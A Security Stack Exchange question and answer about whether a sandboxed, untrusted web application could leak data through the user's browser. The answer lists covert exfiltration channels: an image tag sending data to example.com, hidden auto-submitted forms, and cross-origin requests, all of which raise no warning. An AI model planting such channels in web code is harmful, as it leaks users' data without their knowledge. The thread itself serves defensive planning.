Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I'm trying to imagine an secure sandboxed environment for an application which is big and unexplored, and may contain backdoors. It would live under chroot/virtual environment with no outgoing connections enabled, and all incoming connections will come from local SSL frontend using self-made CA and self-signed client certificate (Apache's RequireSSL directive).

So, no one will be able to connect to application and steal it's data via some backdoor. However, I wonder if the application's client side is technically able to do cross site requests via browser.

Can a page which is open in a self-made SSL context let one of its javascript elements to connect to another server without issuing a visible warning?

share|improve this question

migrated from webapps.stackexchange.com Aug 10 '12 at 21:27

This question came from our site for power users of web applications.

1 Answer 1

There are a couple of ways, which allow a web application to transmit information to another server using the browser as relay. The same origin policy prevents other websites from accessing a sensitive website, but there are a number of access types that are not restricted.

For example:

  • The img-tag can be used to load an image from any server: <img src="http://example.com/?log=sensitive-data">
  • css and javascript files can be loaded the same way
  • Forms can be submitted to any server. The can be hidden in an invisible iframe and submitted automatically by JavaScript: <form action="http://example.com/" method="POST">
  • There are cross origin requests in HTML5 using the XMLHttpRequest JavaScript object: HTML5 Top 10 Threats: Stealth Attacks and Silent Exploits
share|improve this answer
    
A self signed certificate with SSLRequire directive which can check if client's installed certificate matches server CA certificate and, possibly, certificate username/organizarionname (which are valid attributes for client ceritificate) criteria, can indeed prevent unknown users from accessng the erver. –  kagali-san Aug 10 '12 at 21:42
    
I also wonder which of these attacks are not causing browser to issue a warning.. will check later. –  kagali-san Aug 10 '12 at 21:43
1  
@kagali-san, sorry, you are correct. I missed the part about client certificates. None of the above communication approaches will issue a warning. –  Hendrik Brummermann Aug 10 '12 at 21:44

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.